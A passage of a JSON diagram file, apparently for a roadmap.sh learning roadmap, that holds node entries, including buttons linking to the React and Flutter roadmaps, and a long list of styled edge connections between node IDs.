{\n        \"x\": -701.1381872719935,\n        \"y\": 2640.3839027091694\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -292.6381872719935,\n        \"y\": 2456.2541881503926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -292.6381872719935,\n        \"y\": 2456.2541881503926\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 359,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"f5WRewBlpeYMf71cPcXs-\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -278.62298223659093,\n        \"y\": 2510.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React\",\n        \"href\": \"https://roadmap.sh/react\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"StxLh1r3qXqyRSqfJGird\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -278.62298223659093,\n        \"y\": 2510.899845583502\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"9CJ0oitK0ADsgwMvVZXdq\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -112.6229822365909,\n        \"y\": 2510.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flutter\",\n        \"href\": \"https://roadmap.sh/flutter\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -112.6229822365909,\n        \"y\": 2510.899845583502\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-08qKtgnhJ3tlb5JKfTDf5w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2rlmLn_yQQV-7DpX1qT98\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-2rlmLn_yQQV-7DpX1qT98y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-cMfsRtvzvDZZJ0TqeUOxmy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ODQ8zrHc2rsc8PN-APKvz\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-VhSEH_RoWFt1z2lial7xZy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cSXsu17F1Oy34Wp6J-N3C\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SnF3xtzBh-x4Z_qUQUg7H\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-SnF3xtzBh-x4Z_qUQUg7Hz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cSXsu17F1Oy34Wp6J-N3C\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1oUJXtHGQ29ZZU9sxwGo2\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-1oUJXtHGQ29ZZU9sxwGo2z2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cSXsu17F1Oy34Wp6J-N3C\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"lNmddXrT8IHVtWobh3-oq\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cx2-4U-HZQGH7kaWCB94Xy8Mhw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lNmddXrT8IHVtWobh3-oq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VhSEH_RoWFt1z2lial7xZ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-VhSEH_RoWFt1z2lial7xZy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lNmddXrT8IHVtWobh3-oq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bxWLf0RDAl9Zaczkon9Rl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-bxWLf0RDAl9Zaczkon9Rly1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lNmddXrT8IHVtWobh3-oq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yW7nDDJbjmm8XKJI0hq3Q\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-yW7nDDJbjmm8XKJI0hq3Qy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lNmddXrT8IHVtWobh3-oq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"T4AhL9Zls2iNZMituGdtl\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__lNmddXrT8IHVtWobh3-oqx2-4U-HZQGH7kaWCB94Xy8Mhw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"T4AhL9Zls2iNZMituGdtl\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KyKMZ8Aa5XUAIWelGTiSt\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-KyKMZ8Aa5XUAIWelGTiStz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"T4AhL9Zls2iNZMituGdtl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"fnujIq6QAFB6bmTisuZ3T\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__T4AhL9Zls2iNZMituGdtlx2-4U-HZQGH7kaWCB94Xy8Mhw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fnujIq6QAFB6bmTisuZ3T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GFGhnx5xUer2DdRI-SO4D\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-GFGhnx5xUer2DdRI-SO4Dy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fnujIq6QAFB6bmTisuZ3T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kkH9H9Qh1FD7sLItoWw69\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-kkH9H9Qh1FD7sLItoWw69y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fnujIq6QAFB6bmTisuZ3T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OFhyYyxtrCBy_UUb5YBv5\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-OFhyYyxtrCBy_UUb5YBv5y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fnujIq6QAFB6bmTisuZ3T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hHFR59RrdMIWxcQe72qCs\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-hHFR59RrdMIWxcQe72qCsy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fnujIq6QAFB6bmTisuZ3T\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"V34mZCkpoT49o-74XoATS\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-V34mZCkpoT49o-74XoATSy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GrFL32pZ_eOmdJRzSlH8b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8bn1PFd9h0ek6_T-cl1cS\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h3ypxGxeHDCTxURHg6D2dz2-8bn1PFd9h0ek6_T-cl1cSy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GrFL32pZ_eOmdJRzSlH8b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UqCpoPzYio3ng3RFlbvZ7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h3ypxGxeHDCTxURHg6D2dz2-UqCpoPzYio3ng3RFlbvZ7y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fnujIq6QAFB6bmTisuZ3T\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"x-OZCZcX6uhN3Yr5BAATn\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-h3ypxGxeHDCTxURHg6D2dz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HiUbRfOv8OttFd85pDUHN\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ervpuL89myBW3oR9r-4lH\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HiUbRfOv8OttFd85pDUHNz2-4U-HZQGH7kaWCB94Xy8Mhy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ervpuL89myBW3oR9r-4lH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"wB0D9koC6jpt1rzX8F07F\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhx2-wB0D9koC6jpt1rzX8F07Fw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ervpuL89myBW3oR9r-4lH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7GBV5sfOaGxHwpkNUvFWE\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__ervpuL89myBW3oR9r-4lHz2-4U-HZQGH7kaWCB94Xy8Mhw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7GBV5sfOaGxHwpkNUvFWE\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CAQJaGs24wx1SqKOU44aB\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__7GBV5sfOaGxHwpkNUvFWEy2-4U-HZQGH7kaWCB94Xy8Mhz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CAQJaGs24wx1SqKOU44aB\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"GYdz9a1yLiewAeMRSyfLr\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__CAQJaGs24wx1SqKOU44aBy2-4U-HZQGH7kaWCB94Xy8Mhz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GYdz9a1yLiewAeMRSyfLr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"nk6zdVNRz_xE71mVUOFsi\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-nk6zdVNRz_xE71mVUOFsiz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GYdz9a1yLiewAeMRSyfLr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Jr2iuQqyCbx6CyTJj4Qz2\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-Jr2iuQqyCbx6CyTJj4Qz2z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GYdz9a1yLiewAeMRSyfLr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"xf7L5J42yQq3LE7lG2plp\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-xf7L5J42yQq3LE7lG2plpz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GYdz9a1yLiewAeMRSyfLr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3NLcPO-hqQV1EacoPLVrv\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-oK8z23a_CjcDjBJ843_Jnz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GYdz9a1yLiewAeMRSyfLr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"A7ZIe8nlQnHU5g3LM3Eif\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhy2-A7ZIe8nlQnHU5g3LM3Eifz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GYdz9a1yLiewAeMRSyfLr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"dckRzKDKj-mLB3-OxwjPh\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__GYdz9a1yLiewAeMRSyfLrx2-4U-HZQGH7kaWCB94Xy8Mhw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dckRzKDKj-mLB3-OxwjPh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"CGtVwhVGc8Vea5RfzJvQG\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__dckRzKDKj-mLB3-OxwjPhx2-4U-HZQGH7kaWCB94Xy8Mhw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CGtVwhVGc8Vea5RfzJvQG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NdjmP1bZNYriV08vb-iRw\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-NdjmP1bZNYriV08vb-iRwy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CGtVwhVGc8Vea5RfzJvQG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ee4QqFTosXNcTgoQIok8i\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-ee4QqFTosXNcTgoQIok8iy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CGtVwhVGc8Vea5RfzJvQG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"LRBHwYiT0Yyi18PwR49rc\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-LRBHwYiT0Yyi18PwR49rcy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CGtVwhVGc8Vea5RfzJvQG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"w0WW1kg_0BEMeLa1l2gb5\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__CGtVwhVGc8Vea5RfzJvQGx2-4U-HZQGH7kaWCB94Xy8Mhw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w0WW1kg_0BEMeLa1l2gb5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"G15Aey-Spax_iUHpm1v38\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__w0WW1kg_0BEMeLa1l2gb5x2-4U-HZQGH7kaWCB94Xy8Mhw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"G15Aey-Spax_iUHpm1v38\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tR7FOWmBDYg6bn5d4YHzd\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-tR7FOWmBDYg6bn5d4YHzdy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"G15Aey-Spax_iUHpm1v38\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__G15Aey-Spax_iUHpm1v38x2-4U-HZQGH7kaWCB94Xy8Mhw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"sourceHandle\": \"z2\",\n      \"target\": 